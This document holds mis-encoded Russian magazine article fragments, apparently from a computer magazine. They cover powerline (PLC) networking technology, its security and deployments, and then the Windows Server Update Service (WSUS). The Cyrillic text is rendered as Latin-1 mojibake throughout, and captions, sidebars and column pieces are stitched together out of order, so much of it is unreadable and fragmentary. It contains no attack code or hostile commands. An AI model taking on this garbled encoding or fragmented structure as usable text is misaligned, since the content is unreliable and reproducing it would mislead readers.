ôîðìàöèÿ, íåîáõîäèìàÿ äëÿ ïðîâåðêè öåëîñòíîñòè äàí-
íûõ, à òàêæå, ÷òî î÷åíü âàæíî, âîññòàíîâëåíèÿ óòåðÿí-
íûõ äàííûõ. Åñëè èç-çà êàêèõ-òî ïîìåõ èëè îñîáåííîñ-
òåé ïðîâîäíèêà èíôîðìàöèÿ ïî îäíîé èëè íåñêîëüêèì
íåñóùèì áûëà èñêàæåíà, òî îáùèé ñèãíàë íå ïîñòðàäà-
åò, òàê êàê îí äîñòàòî÷íî ïðîñòî ìîæåò áûòü ñêîððåêòè-
ðîâàí. Ñòîëü ýôôåêòèâíîå èñïîëüçîâàíèå ñïåêòðà ïîç-
âîëÿåò äîñòè÷ü îãðîìíîé ïëîòíîñòè áèòîâ è ïåðåäàâàòü
äàííûå íà î÷åíü âûñîêèõ ñêîðîñòÿõ.

[ðåøåíèå ïðîáëåì] Ïî óìîë÷àíèþ äëÿ ïåðåäà÷è èñ-
ïîëüçóåòñÿ äèàïàçîí ÷àñòîò îò 4 äî 21 ÌÃö, îäíàêî â íåêî-
òîðûõ ñëó÷àÿõ îí íåñêîëüêî óæå. Ýòî ìîæåò áûòü ñâÿçàíî ñ
îñîáåííîñòÿìè ïðîâîäíèêà, íå ïîçâîëÿþùèìè èñïîëüçî-
âàòü òå èëè èíûå ÷àñòîòû, à òàêæå ñ îãðàíè÷åíèÿìè, êîòî-
ðûå íàêëàäûâàåò çàêîíîäàòåëüñòâî íåêîòîðûõ ñòðàí. Òàê
èëè èíà÷å, âåñü äèàïàçîí äåëèòñÿ íà 84 íåçàâèñèìûõ äðóã

îò äðóãà íåñóùèõ, êîòîðûå ìîãóò
ïåðåäàâàòü äàííûå ñî ñêîðîñòüþ
äî 20 Ìáèò/ñ. Âî âðåìÿ ïåðåäà÷è
äàííûõ íà íåêîòîðûõ íåñóùèõ ìî-
æåò ðåçêî âîçðàñòàòü êîýôôèöè-
åíò çàòóõàíèÿ ñèãíàëà, ÷òî, åñòåñò-
âåííî, âåäåò ê ÷àñòè÷íîé èëè ïîë-
íîé ïîòåðè èíôîðìàöèè. Ìåòîä
OFDM ìîæåò ñêîððåêòèðîâàòü
äàííûå, íî äëÿ óñïåøíîãî ôóíêöè-
îíèðîâàíèÿ åìó òðåáóåòñÿ ïîìîùü
ñî ñòîðîíû. Ñâîåîáðàçíûì ïî-
ìîùíèêîì ÿâëÿåòñÿ ôóíêöèÿ äè-
íàìè÷åñêîãî óïðàâëåíèÿ íåñóùè-

ìè (Dynamically turning off and on data-carrying signals), ñóòü êîòîðîé çàê-
ëþ÷àåòñÿ â ïîñòîÿííîì ìîíèòîðèíãå êàíàëà ïåðåäà÷è ñ öåëüþ âûÿâëå-
íèÿ òåõ ó÷àñòêîâ ñïåêòðà, ãäå êîýôôèöèåíò çàòóõàíèÿ ïðåâûøàåò íåêî-
òîðîå ïîðîãîâîå çíà÷åíèå. Åñëè òàêèå ÷àñòîòû îáíàðóæåíû, òî èõ èñ-
ïîëüçîâàíèå ïðåêðàùàåòñÿ ðîâíî äî òåõ ïîð, ïîêà çàòóõàíèå ñèãíàëà íå
âåðíåòñÿ ê óðîâíþ íîðìû.

ÁÅÇÎÏÀÑÍÎÑÒÜ PPLC-ÑÑÅÒÅÉ
Âîîáùå, áåçîïàñíîñòü èñïîëüçîâàíèÿ PLC-ñåòåé ïîêà ïîä
áîëüøèì ñîìíåíèåì. Âåäü âíóòðè äîìà äëÿ ïåðåäà÷è äàí-
íûõ èñïîëüçóþòñÿ îäíè è òå æå ïðîâîäà ñëàáîòî÷íîé ïðî-
âîäêè. Óâåðåí, ÷òî åñëè ýòà òåõíîëîãèÿ âûéäåò â øèðîêèå
ìàññû, òî î÷åíü ñêîðî ïîÿâÿòñÿ ñïåöèàëüíûå ñíèôåðû,
êîòîðûå íåáåçóñïåøíî áóäóò ïåðåõâàòûâàòü âñå èäóùèå
ïî PLC ïàêåòû. ×òîáû íå äîïóñòèòü íåñàíêöèîíèðîâàííî-
ãî äîñòóïà ê èíôîðìàöèè, áîëüøèíñòâî ïðîèçâîäèòåëåé
âñòðàèâàþò â ñâîè PLC-àäàïòåðû ñïåöèàëüíûå ñðåäñòâà-
ìè øèôðîâàíèÿ «íà ëåòó», îñíîâàííûå íà àëãîðèòìå
DES. Îäíàêî øèôðîâàíèå ìîæåò áûòü âêëþ÷åíî òîëüêî â
òîì ñëó÷àå, åñëè åãî ïîääåðæèâàåò êîììóòèðóþùåå PLC-
îáîðóäîâàíèå. Äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè PLC-ìàðø-
ðóòèçàòîðû èìåþò ñïåöèàëüíóþ ñèñòåìó êîíòðîëÿ äîñòó-
ïà, ðàçðåøàÿ ïîäêëþ÷åíèå òîëüêî òåì èç àáîíåíòîâ, êîòî-
ðûå ïðîøëè àâòîðèçàöèþ (ïî ëîãèíó/ïàðîëþ, MAC-àäðåñó
àäàïòåðà è ò.ä.). Îäíàêî è ýòó çàùèòó, ñêîðåå âñåãî,
óäàñòñÿ îáîéòè, åñëè ïîëó÷èòñÿ âûëîâèòü èç «ýôèðà»
íóæíóþ èäåíòèôèêàöèîííóþ èíôîðìàöèþ. Â èòîãå ïîëó-
÷àåì óðîâåíü çàùèòû, ñðàâíèìûé ñ áåñïðîâîäíûìè ñåòÿ-
ìè, à ýòî ÿâíî íå ïðåäåë ìå÷òàíèÿ.

íà îôèöèàëüíîì ñàéòå àëüÿíñà Homeplug Powerline Aliance òû íå íàéäåøü îïèñàíèå
ñïåöèôèêàöèè Homeplug � ýòî çàêðûòàÿ èíôîðìàöèÿ

ìîíèòîðèíã ñîåäèíåíèÿ ñ äðóãèìè
êîìïüþòåðàìè, ñîåäèíåííûìè 
ñ ïîìîùüþ PLC. Ñêîðîñòü äî 13
Ìáèò/ñ, æàëü òîëüêî, ÷òî ñîôò 
íåìåöêèé
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ß óæå óïîìèíàë î âîçìîæíîì âîç-
íèêíîâåíèè â ïðîâîäêå êîðîòêèõ
èìïóëüñíûõ ïîìåõ (ïðîäîëæèòåëü-
íîñòüþ äî 1 ìñ), èñòî÷íèêàìè êîòî-
ðûõ ÿâëÿþòñÿ ãàëîãåíîâûå ëàìïû è
ìîùíûå áûòîâûõ ïðèáîðû ñ ýëåêò-
ðè÷åñêèìè äâèãàòåëÿìè. Äëÿ òîãî ÷òîáû èñêëþ÷èòü âëèÿíèå ýòèõ íåïðè-
ÿòíûõ ïîìåõ, ðàçðàáîò÷èêè PLC ñòàëè èñïîëüçîâàòü äâóõñòóïåí÷àòîå ïî-
ìåõîóñòîé÷èâîå êîäèðîâàíèå èíôîðìàöèè. Ïðèíöèï äåéñòâèÿ çàêëþ÷à-
åòñÿ â èçáûòî÷íîì êîäèðîâàíèè äàííûõ, êîãäà ê íàáîðó èíôîðìàöèîííûõ
áèòîâ ïðèáàâëÿþòñÿ åùå òàê íàçûâàåìûå çàùèòíûå áèòû, èñïîëüçóåìûå
äëÿ âîññòàíîâëåíèÿ èñïîð÷åííûõ âî âðåìÿ ïåðåäà÷è äàííûõ.
Â îáû÷íîì Ethernet ñåòåâîé êàáåëü èäåò ñòðîãî îò òî÷êè À (íàïðèìåð,
ñâèò÷à) ê òî÷êå B (ðàáî÷åé ñòàíöèè), íå èìåÿ ðàçâåòâëåíèé èëè êàêèõ-
ëèáî åùå íåãàòèâíî âëèÿþùèõ ôàêòîðîâ. Çàòî â êâàðòèðíîé ïðîâîäêå
âñå ñ òî÷íîñòüþ äî íàîáîðîò: çäåñü âñåãäà íàéäåòñÿ íåìàëî ìåñò, ãäå
ñèëîâîé êàáåëü ðàçäåëÿåòñÿ, ðàçâåòâëÿåòñÿ, èäåò ïàðàëëåëüíî, à òî÷-
êè ñîåäèíåíèÿ ñäåëàíû, ÷òî íàçûâàåòñÿ, «íà ñîïëÿõ». Âñå ýòî ïðèâîäèò
ê ïîÿâëåíèþ ìíîãîêðàòíîé èíòåðôåðåíöèè ïðÿìîãî è çàäåðæàííîãî
ñèãíàëîâ èëè, êàê ýòî åùå íàçûâàþò, îòðàæåíèé. Â èòîãå, íà ïðèåìíèê
îäíîâðåìåííî ïðèõîäèò íåñêîëüêî îäèíàêîâûõ ñèãíàëîâ, ñäâèíóòûõ íà
îïðåäåëåííóþ âåëè÷èíó, â çàâèñèìîñòè îò ðàññòîÿíèÿ, ïðîéäåííîãî
êàæäûì èç íèõ. Ïîëó÷àåòñÿ, ÷òî âìåñòî îäíîãî îòïðàâëåííîãî áèòà, íà
ïðèíèìàþùåé ñòîðîíå ìîæåò îêàçàòüñÿ äâà èëè òðè, êîòîðûå êàêèì-òî
îáðàçîì íóæíî îòôèëüòðîâàòü, à ïîñëå � ïðàâèëüíî èíòåðïðåòèðî-
âàòü. Äëÿ òîãî ÷òîáû ðåøèòü ýòó çàäà÷ó, áûëî ðåøåíî èñïîëüçîâàòü
ìèêðîñåêóíäíóþ çàäåðæêó ìåæäó ïåðåäà÷åé ïàêåòîâ, à òàêæå äîïîëíè-
òåëüíûå òèïû ìîäóëÿöèè DBPSK
(Differential Binary Phase Shift
Keying, äèôôåðåíöèàëüíàÿ äâîè÷-
íàÿ ôàçîâàÿ ìàíèïóëÿöèÿ) è ðàç-
íîâèäíîñòè DQPSK (Differential
Quadrature Phase Shift Keying,
êâàäðàòóðíàÿ äèôôåðåíöèàëüíàÿ
ôàçîâàÿ ìàíèïóëÿöèÿ). 

[ethernet vs. PLC] Ïî ñóòè, òåõ-
íîëîãèè Ethernet è PLC î÷åíü ïîõî-
æè. Ðàçíèöà çàêëþ÷àåòñÿ ëèøü â
ñïîñîáå ïîäêëþ÷åíèÿ ê Ñåòè êî-
íå÷íîãî àáîíåíòà. Íå íàäî äóìàòü,
÷òî äîñòàòî÷íî óñòàíîâèòü êàêîé-
òî õèòðûé äåâàéñ íà ýëåêòðîñòàí-
öèè � è âåñü ãîðîä ñðàçó ïîëó÷èò äîñòóï â Èíòåðíåòó ÷åðåç ðîçåòêó. Íà
ñàìîì äåëå âñå íàìíîãî ñëîæíåå: èíúåêòîðû ñèãíàëà, êîòîðûå ïåðåäà-
þò äàííûå â ýëåêòðè÷åñêóþ ñåòü, ÷àùå âñåãî óñòàíàâëèâàþòñÿ â êàæäîì
äîìå è äàæå ïîäúåçäå, ïðè ýòîì íåïîñðåäñòâåííî äî çäàíèÿ Èíòåðíåò
äîâîäèòñÿ âïîëíå ïðèâû÷íûìè ñðåäñòâàìè, íàïðèìåð, îïòîâîëîêíîì.
Ôàêòè÷åñêè, ñåòü íà îñíîâå PLC � ýòî áîëüøàÿ ëîêàëêà. Ñ òîé ëèøü
ðàçíèöåé, ÷òî âìåñòî ñâèò÷åé è âèòîé ïàðû èñïîëüçóåòñÿ ýëåêòðè÷åñêàÿ
ïðîâîäêà, à êëèåíòû âìåñòî ñåòåâûõ êàðò èñïîëüçóþò ñïåöèàëüíûå
àäàïòåðû, êîòîðûå âñòàâëÿþòñÿ â ðîçåòêó. Åñòü, ïðàâäà, íåñêîëüêî äðó-
ãîé ñïîñîá äîñòàâêè ñèãíàëà äî çäàíèÿ, êîãäà ñïåöèàëüíîå îáîðóäîâà-
íèå óñòàíàâëèâàåòñÿ íà ìåñòíîé ïîäñòàíöèè è ïåðåäàåò äàííûå èç îï-
òîâîëîêîííîé ñåòè â ñèëîâîé êàáåëü. Ñ ïîìîùüþ ñèëîâîãî êàáåëÿ è íà-
áîðà ïîâòîðèòåëåé, óñòàíîâëåííûõ ÷åðåç êàæäûå ïîëêèëîìåòðà, êàáåëü
äîâîäÿò äî êàæäîãî äîìà, è óæå òàì ñ ïîìîùüþ ñïåöèàëüíûõ äåâàéñîâ
â ðàñïðåäåëèòåëüíûõ ùèòêàõ ñèãíàë èíúåêòèðóåòñÿ â íèçêîâîëüòîâóþ
(120-220 Â) ñåòü. Îäíàêî ýòîò âàðèàíò ìàëî ðàñïðîñòðàíåí â ìèðå è óæ
òåì áîëåå íå íàøåë ïðèìåíåíèÿ â Ðîññèè.
Âîîáùå, èíôðàñòðóêòóðà ñåòè � ýòî íå åäèíñòâåííîå ñõîäñòâî òåõíîëî-
ãèé. Íàïðèìåð, íà óðîâíå OSI ñòàíäàðò Homeplug 1.0  òàê æå, êàê è
Ethernet, ïîääåðæèâàåò òàê íàçûâàåìîå êà÷åñòâî îáñëóæèâàíèÿ (QoS,

Quality of Service). À äëÿ ðàçðåøåíèÿ êîíôëèêòíûõ ñèòóàöèé «ñòîëêíîâå-
íèÿ» òðàôèêà (íå çàáûâàé, ÷òî äàííûå îò êàæäîãî àáîíåíòà ïåðåäàþòñÿ
ïî îäíèì è òåì æå ïðîâîäàì) áûëà ðåàëèçîâàíà ñïåöèàëüíàÿ ñèñòåìà
ïðèîðèòåòîâ. Ïàêåòû, êîòîðûå èìåþò íàèâûñøóþ âàæíîñòü (ãîëîñ, âèäåî
è ò.ä.), äëÿ êîòîðûõ îñîáåííî êðèòè÷íà ìèíèìèçàöèÿ çàäåðæåê, ïîìå÷à-
þòñÿ ñïåöèàëüíûì ôëàãîì Timing Critical è èìåþò ñàìûé âûñîêèé ïðèîðè-
òåò, ïîýòîìó îáðàáàòûâàþòñÿ PLC-ìàðøðóòèçàòîðàìè â ïåðâóþ î÷åðåäü.

[ðåàëüíûå ïðèìåðû] Â òåîðèè âñå âðîäå áû âïîëíå ðåàëüíî, íî
êàê äåëà îáñòîÿò íà ïðàêòèêå? Åñëè âåðèòü ïðåññ-ðåëèçàì, òî âî âñåì
ìèðå ïðèìåíåíèå øèðîêîïîëîñíîãî äîñòóïà â Èíòåðíåò ÷åðåç îáû÷-
íóþ ýëåêòðîñåòü èäåò ïîëíûì õîäîì. Íàïðèìåð, ýëåêòðîýíåðãåòè÷åñ-
êàÿ êîìïàíèÿ Scottish-Hydro-Electrics çàïóñòèëà ïðîåêò ïî ðàçâåðòû-
âàíèþ ñåòè PLC åùå ïàðó ëåò íàçàä. Òàêèì îáðàçîì, óäàëîñü ïðåäîñ-
òàâèòü äîñòóï â èíåò òåì ëþäÿì, êîòîðûå æèâóò â ñåëüñêîé ìåñòíîñòè
è èç-çà ñëàáîðàçâèòîé òåëåêîììóíèêàöèîííîé ñåòè ëèøü ìå÷òàþò î
âûñîêîñêîðîñòíîì äîñòóïå â Èíòåðíåò. Ïðèìå÷àòåëüíî, ÷òî èñïîëüçî-
âàíèå Èíòåðíåòà ÷åðåç ðîçåòêó îêàçàëîñü ñóùåñòâåííî äåøåâëå, ÷åì
àíàëîãè÷íàÿ ïî ñêîðîñòè DSL-ëèíèÿ. Ôèøêà íà îñíîâå PLC âîâñþ èñ-
ïîëüçóþòñÿ è íà òåððèòîðèè Ãåðìàíèè, ïðè÷åì Èíòåðíåò � ýòî äàæå
íå ñàìîå îñíîâíîå ïðèìåíåíèå òåõíîëîãèè. Â íåêîòîðûõ ãîðîäàõ ëþ-

äÿì äàæå íå îáÿçàòåëüíî îòïðàâëÿòü êâèòàíöèþ îá îïëàòå çà ýëåêò-
ðîýíåðãèþ, òàê êàê âñÿ èíôîðìàöèÿ ñî ñ÷åò÷èêîâ àâòîìàòè÷åñêè îòï-
ðàâëÿåòñÿ åå ïîñòàâùèêó.
×òî êàñàåòñÿ Ðîññèè, òî èñïûòàíèÿ PLC ïî òðàäèöèè âïåðâûå íà÷à-
ëèñü â ñòîëèöå. Êîìïàíèÿ «Ìîñýíåðãî» ïðîâåëà ðÿä èñïûòàíèé ïî
ñîçäàíèþ òåõíîëîãè÷åñêîé ñåòè, îáúåäèíÿþùåé ñâîè äèñïåò÷åðñêèå
ïóíêòû ñ ïèòàþùèìè, ðàñïðåäåëèòåëüíûìè è òðàíñôîðìàòîðíûìè
ïîäñòàíöèÿìè. Âî âðåìÿ òåñòèðîâàíèÿ èñïîëüçîâàëîñü îáîðóäîâà-
íèå îò ðàçëè÷íûõ ïðîèçâîäèòåëåé è, ÷òî óäèâèòåëüíî, âñå çàðàáîòà-
ëî êàê íàäî :). Ê ñîæàëåíèþ, ñâîèìè ãëàçàìè ÿ íå âèäåë, íî î÷åâèä-
öû óòâåðæäàþò, ÷òî èì óäàëîñü îáåñïå÷èòü äîñòóï â Èíòåðíåò íà ñêî-
ðîñòÿõ 2�12 Ìáèò/ñ, ÷òî áîëåå ÷åì äîñòàòî÷íî äëÿ äîìàøíåãî èñ-
ïîëüçîâàíèÿ. Ê ñîæàëåíèþ, íèêàêèõ ïðåññ-ðåëèçîâ èëè äàæå íàìå-
êîâ ïî ïîâîäó òîãî, êîãäà ýòó òåõíîëîãèþ «Ìîñýíåðãî» íà÷íåò èñ-
ïîëüçîâàòü â êîììåð÷åñêèõ öåëÿõ â Ìîñêâå, ïîêà íå ñîîáùàåòñÿ.
Çàòî â êîíöå 2004 ãîäà ôîíäû Intel Capital è «Ðóññêèå òåõíîëîãèè»

îáúÿâèëè î ñâîèõ ïëàíàõ èíâåñ-
òèðîâàòü ñðàçó 4 ìèëëèîíà äîë-
ëàðîâ â êîìïàíèþ «Ýëåêòðî-
Êîì». È ñâîå ñëîâî âûïîëíèëè.
Ñåé÷àñ «Ýëåêòðî-Êîì» àêòèâíî
çàíèìàåòñÿ ñòðîèòåëüñòâîì ïè-
ëîòíîé ñåòè PLC íà òåððèòîðèè
Ìîñêâû, Ðÿçàíè, Êàëóãè, Ðîñòî-
âà-íà-Äîíó è íåêîòîðûõ äðóãèõ
ãîðîäîâ Ðîññèè. Â Êàëóãå, ê ïðè-
ìåðó, óæå âåñü öåíòð ãîðîäà ïå-

ðåòÿíóò îïòîâîëîêíîì, à â íåêîòîðûõ ÷àñòÿõ äàæå óñòàíîâëåíî âñå
íåîáõîäèìîå îáîðóäîâàíèå è íà÷èíàåòñÿ ïðåäîñòàâëåíèå áåñïëàò-
íîãî òåñòîâîãî äîñòóïà. Ñêîðîñòü äîñòèãàåò 9 Ìáèò/ñ íà ïðèåì è 6
Ìáèò/ñ íà îòäà÷ó, äàæå òàì, ãäå ïðîâîäêà óæå íåñêîëüêî ðàç ãîðåëà
è áûëà îòðåìîíòèðîâàíà íà «àâîñü». Ïî çàÿâëåíèþ ñïåöèàëèñòîâ
«Ýëåêòðî-Êîì» ìàêñèìàëüíóþ ïëàíêó óäàñòñÿ ïîäíÿòü â íåñêîëüêî
ðàç çà ñ÷åò èñïîëüçîâàíèÿ äîïîëíèòåëüíîé èíúåêöèè ñèãíàëà. Áîëåå
òîãî, óæå ñåé÷àñ îáñóæäàþòñÿ ïëàíû ïî ïîâîäó ïðåäîñòàâëåíèÿ
VoIP-òåëåôîíèè ñ èñïîëüçîâàíèåì PLC 

ïðåæäå ÷åì ñèãíàë äîõîäèò äî ìîäåìà, îí ñåðüåçíî èñêàæàåòñÿ. Èìåííî
ïîýòîìó áûëî òàê âàæíî èñïîëüçîâàòü òåõíîëîãèè âîññòàíîâëåíèÿ ïîòå-
ðÿííûõ âî âðåìÿ ïåðåäà÷è äàííûõ

ìåòîä ìîäóëÿöèè OFDM ïîäðàçó-
ìåâàåò èñïîëüçîâàíèå ñðàçó íåñ-
êîëüêèõ ïåðåêðûâàþùèõ äðóã
äðóãà íåñóùèõ. Íà ðèñóíêå îíè
èçîáðàæåíû ðàçíûìè öâåòàìè

DPS-ïðîöåññîð � ýòî âñåãî
ëèøü íåáîëüøàÿ ìèêðîñõåìà, íî
áåç íåå î PLC íàì ïðèøëîñü áû
òîëüêî ìå÷òàòü

îáûêíîâåííàÿ ðîçåòêà. Âñòàâèë
àäàïòåð � ðàáîòàé â èíåòå!

ëþáîå PLC-óñòðîéñòâî èìååò ñâîé
MAC-àäðåñ, ñîâìåñòèìûé ñî ñòàí-
äàðòàìè Ethernet





[àâòîìàòè÷åñêèå àïäåéòû: áûòü èëè íå
áûòü?] Óñòàíîâèâ Windows íà äîìàøíåé ìàøèíå,
ÿ ÷óòü ëè íå ïåðâûì äåëîì îòêëþ÷àþ àâòîìàòè÷å-
ñêèå îáíîâëåíèÿ (Windows Update System). Ýòà, íå-
ñîìíåííî, ïîëåçíàÿ ñëóæáà, ê ñîæàëåíèþ, íåâåðî-
ÿòíî ïðîæîðëèâà. Îíà íå ïîäîçðåâàåò, ÷òî áîëü-
øèíñòâî îáíîâëåíèé óæå äàâíî ïðèþòèëèñü íà ìî-
åì âèíòå è æäóò ñâîåé óñòàíîâêè, à ïîýòîìó ñ çà-
âèäíîé óïîðíîñòüþ íà÷èíàåò ëîìèòüñÿ â èíåò è âû-
êà÷èâàòü âñå äîñòóïíûå àïäåéòû. Â ïðèíöèïå, íè-
÷åãî ñìåðòåëüíîãî â ýòîì íåò � ðàçâå ÷òî, ïîñìî-
òðåâ íà ñòàòèñòèêó ïîòðà÷åííîãî òðàôèêà, òû â
î÷åðåäíîé ðàç âñïîìíèøü äÿäþ Áèëëà. Óñòàíîâêà
âñåõ íåîáõîäèìûõ Service Pack'îâ è îáíîâëåíèé
âðó÷íóþ çàíèìàåò ïîðÿäêà 10�15 ìèíóò, íî äëÿ
êîðïîðàòèâíîé ñåòè ýòî ÿâíî íå âàðèàíò. Íè îäèí
àäìèí â òðåçâîì óìå íå ñòàíåò âðó÷íóþ óñòàíàâëè-
âàòü àïäåéòû íà êàæäóþ ìàøèíó, ñîìíèòåëüíî è
òî, ÷òî ñ ýòîé çàäà÷åé ñïðàâÿòñÿ îáû÷íûå ïîëüçî-
âàòåëè. Ïîëó÷àåòñÿ, ÷òî áåç ñëóæáû àâòîìàòè÷å-
ñêîãî îáíîâëåíèÿ íèêàê íå îáîéòèñü. Ñ äðóãîé ñòî-
ðîíû, ïðåäñòàâü, ÷òî áóäåò, åñëè Windows Update
System áóäåò àêòèâíîé íà êàæäîì êîìïüþòåðå âíó-
òðè êðóïíîé (îò 100 ðàáî÷èõ ñòàíöèé) êîðïîðàòèâ-
íîé ñåòè? Íåñëîæíî äîãàäàòüñÿ, ÷òî îäèí è òîò æå
àïäåéò áóäåò çàêà÷èâàòüñÿ ïî íåñêîëüêî äåñÿòêîâ,
ñîò è äàæå òûñÿ÷ ðàç. À âåäü îáíîâëåíèÿ, â òîì ÷è-
ñëå è êðèòè÷åñêèå, äëÿ òîãî èëè èíîãî ñîôòà âûõî-
äÿò ÷óòü ëè íå êàæäóþ íåäåëþ� Íà ïðàêòèêå ïîëó-
÷àåì êîëîññàëüíûå ðàñõîäû íà òðàôèê, êîòîðûå
ëåãêî ìîæíî áûëî áû èçáåæàòü â ñëó÷àå ñóùåñòâî-
âàíèÿ íåêîãî êýøèðóþùåãî ýëåìåíòà, êîòîðûé áû
åäèíîæäû âûêà÷èâàë âñþ áàçó îáíîâëåíèé è óæå
ïîòîì ðàçäàâàë âñåì ðàáî÷èì ñòàíöèÿì ëîêàëüíîé
ñåòè. Èìÿ ýòîãî ýëåìåíòà � WSUS (Windows Ser-
ver Update Service) � ñåðâåðíàÿ ñëóæáà îáíîâëå-
íèÿ Windows, êîòîðàÿ áûëà çàðåëèçåíà Micro-
soft'îì âñåãî íåñêîëüêî ìåñÿöåâ íàçàä.

038
ÑÁÛËÀÑÜ ÌÅ×ÒÀ! ÌÅ×ÒÀ ÀÄÌÈÍÈÑÒÐÀÒÎÐÀ
ÏÅÒÈ, ÊÎÒÎÐÎÌÓ ÄÎÂÅËÎÑÜ ÎÁÑËÓÆÈÂÀÒÜ
ÎÃÐÎÌÍÓÞ ÊÎÐÏÎÐÀÒÈÂÍÓÞ ÑÅÒÜ, ÑÎÑÒÎß-
ÙÓÞ ÈÇ ÏÀÐÊÀ ÑÀÌÛÕ ÐÀÇÍÎÎÁÐÀÇÍÛÕ ÌÀ-
ØÈÍ. ÊÀÆÄÛÉ ÇÍÀÅÒ, ÍÀÑÊÎËÜÊÎ ÑËÎÆÍÎ
ÇÀÑÒÀÂÈÒÜ ÏÎËÜÇÎÂÀÒÅËÅÉ ÑÂÎÅÂÐÅÌÅÍÍÎ
ÓÑÒÀÍÀÂËÈÂÀÒÜ ÍÀ ÑÂÎÈ ÊÎÌÏÜÞÒÅÐÛ ÎÁ-
ÍÎÂËÅÍÈß È ÇÀÏËÀÒÊÈ. Î×ÅÍÜ ×ÀÑÒÎ ÝÒÓ
ÆÓÒÊÎ ÌÓÒÎÐÍÓÞ, ÍÓÄÍÓÞ È ÑÎÂÅÐØÅÍÍÎ
ÍÅ ÈÍÒÅÐÅÑÍÓÞ ÐÀÁÎÒÓ (ÍÅ ÁÅÐÅÌ Â ÐÀÑ×ÅÒ
ÎÁÑËÓÆÈÂÀÍÈÅ ÊÎÌÏÜÞÒÅÐÀ ÑÈÌÏÀÒÈ×-
ÍÎÉ ÑÅÊÐÅÒÀÐØÈ) ÏÐÈÕÎÄÈÒÑß ÂÛÏÎËÍßÒÜ
ÑÀÌÎÌÓ. ÂÅÐÍÅÅ ÑÊÀÇÀÒÜ � ÏÐÈÕÎÄÈËÎÑÜ,
ÒÀÊ ÊÀÊ ÒÅÏÅÐÜ ÝÒÎ ÌÎÆÍÎ ÄÅËÀÒÜ ÀÂÒÎ-
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Âñå î WSUS � 
ñåðâåðíîé ñëóæáå 
îáíîâëåíèÿ Windows

[[ççííààêêîîììèèììññÿÿ ááëëèèææåå]] Èòàê, äëÿ ÷åãî êîíêðåòíî
íóæåí ýòîò WSUS? Ïî ñóòè, ýòî èíñòðóìåíò äëÿ
ýôôåêòèâíîãî ðàñïðîñòðàíåíèÿ îáíîâëåíèé
äëÿ òàêèõ ïðîäóêòîâ Microsoft, êàê Windows XP
Professional, Windows 2000, Windows 2000 Ser-
ver, Office XP, Office 2003, SQL Server 2000,
MSDE, Exchange Server è Exchange Server
2003. Â ñêîðîì ýòîò è áåç òîãî íåìàëåíüêèé ñïèñîê çíà÷èòåëüíî ðàñøè-
ðèòñÿ, î ÷åì ñâèäåòåëüñòâóþò ìíîãî÷èñëåííûå ïðåññ-ðåëèçû Microsoft.
Ñèñòåìà ðàáîòàåò ïî ñõåìå êëèåíò-ñåðâåð. Ñåðâåð ðàñïðîñòðàíÿåò àï-
äåéòû è çàïëàòêè, êëèåíò èõ çàáèðàåò. È åñëè êëèåíòñêàÿ ÷àñòü ïî óìîë-
÷àíèþ âñòðîåíà â Windows 2000 (íà÷èíàÿ ñ SP3), Windows XP è Windows
2003 Server è íàçûâàåòñÿ Windows Updates, òî ñåðâåðíóþ êîìïîíåíòó, òî
åñòü WSUS, íåîáõîäèìî óñòàíîâèòü íà êîìïüþòåðå ñ Windows 2000 Ser-
ver (ñ Service Pack 4) èëè Windows Server 2003. Ïîñëå óñòàíîâêè, î êîòî-
ðîé ìû ïîäðîáíî ïîãîâîðèì íèæå, WSUS ïðåäñòàâëÿåò ñîáîé ìîùíûé
èíñòðóìåíò àäìèíèñòðàòîðà, êîòîðûì ìîæíî óäàëåííî óïðàâëÿòü ñ ïîìî-
ùüþ ñïåöèàëüíîãî Web-èíòåðôåéñà, äîñòóïíîãî èç ëþáîé Windows-ñè-
ñòåìû ñ óñòàíîâëåííûì Internet Explorer 6.0 è âûøå. Ê ñîæàëåíèþ, äîñòóï
èç äðóãîãî áðàóçåðà èëè îïåðàöèîííîé ñèñòåìû íå ïîääåðæèâàåòñÿ.
Äëÿ êðóïíûõ ñåòåé èëè íåñêîëüêèõ ñâÿçàííûõ ìåæäó ñîáîé ñåòåé ìîæåò

ýòî ïðîñòî ëîãîòèï
Windows Server 
System :)

ÏÎÂÎÄ ÄÄËß ÐÐÀÇÌÛØËÅÍÈß 
Â ñåíòÿáðå Microsoft çàÿâèëà, ÷òî íå áóäåò âûïóñêàòü îáíî-
âëåíèå íà êðèòè÷åñêóþ óÿçâèìîñòü â Windows, íåñìîòðÿ
äàííûå ðàíåå îáåùàíèÿ. Áðåøè ïðèñâîåíà âûñøàÿ ñòå-
ïåíü îïàñíîñòè � «êðèòè÷åñêàÿ», òî åñòü åå ïîòåíöèàëüíî
ìîæíî èñïîëüçîâàòü äëÿ ìàññîâîãî âçëîìà ìàøèí. Ðàçðà-
áîòàííûé ïàò÷ îêàçàëñÿ êîðÿâûì, ïîýòîìó åãî âûõîä áûë
îòëîæåí íà íåîïðåäåëåííûé ñðîê. À âåäü òàêèå áàæíûå
àïäåéòû ìîãóò ïîïàñòü è íà Windows Update, ïîýòîìó ïå-
ðåä óñòàíîâêîé îáíîâëåíèÿ âî âñþ ñåòü ðåêîìåíäóåòñÿ
ïðîòåñòèðîâàòü åãî íà íåñêîëüêèõ ìàøèíàõ. Ê ñëîâó, â àâ-
ãóñòå âûøëè öåëûõ 6 ïàò÷åé Microsoft, îäèí èç êîòîðûõ
çàêðûâàë åùå îäíó êðèòè÷åñêóþ óÿçâèìîñòü Windows.



áûòü ïîëåçíîé ïîääåðæêà öåïî÷åê
WSUS-ñåðâåðîâ. Îäèí èõ íèõ �
ãëàâíûé � ïîäêëþ÷åí ê èíòåðíåòó
(òî÷íåå � ê ñåðâèñó Microsoft Upda-
te) è íà ðåãóëÿðíîé îñíîâå çàêà÷è-
âàåò îòòóäà âñå äîñòóïíûå îáíî-
âëåíèÿ. Äðóãèå WSUS-ñåðâåðû, êàê
ïðàâèëî, íå èìåþò ïðÿìîãî äîñòóïà
â Èíòåðíåò, íî çàòî èñïîëüçóþò
ãëàâíûé WSUS â êà÷åñòâå èñòî÷íè-
êà àïäåéòîâ. Òàêóþ èåðàðõèþ ðåêî-
ìåíäóåòñÿ èñïîëüçîâàòü â êðóïíûõ
ñåòÿõ, ÷òîáû ðàçãðóçèòü îñíîâíûå
ìàãèñòðàëè ëîêàëüíîãî òðàôèêà. Â
ïðèíöèïå, ìåæäó èñïîëüçóåìûìè
WSUS-ñåðâåðàìè ìîæåò äàæå è íå
áûòü ïîäêëþ÷åíèÿ! Âñå àïäåéòû,
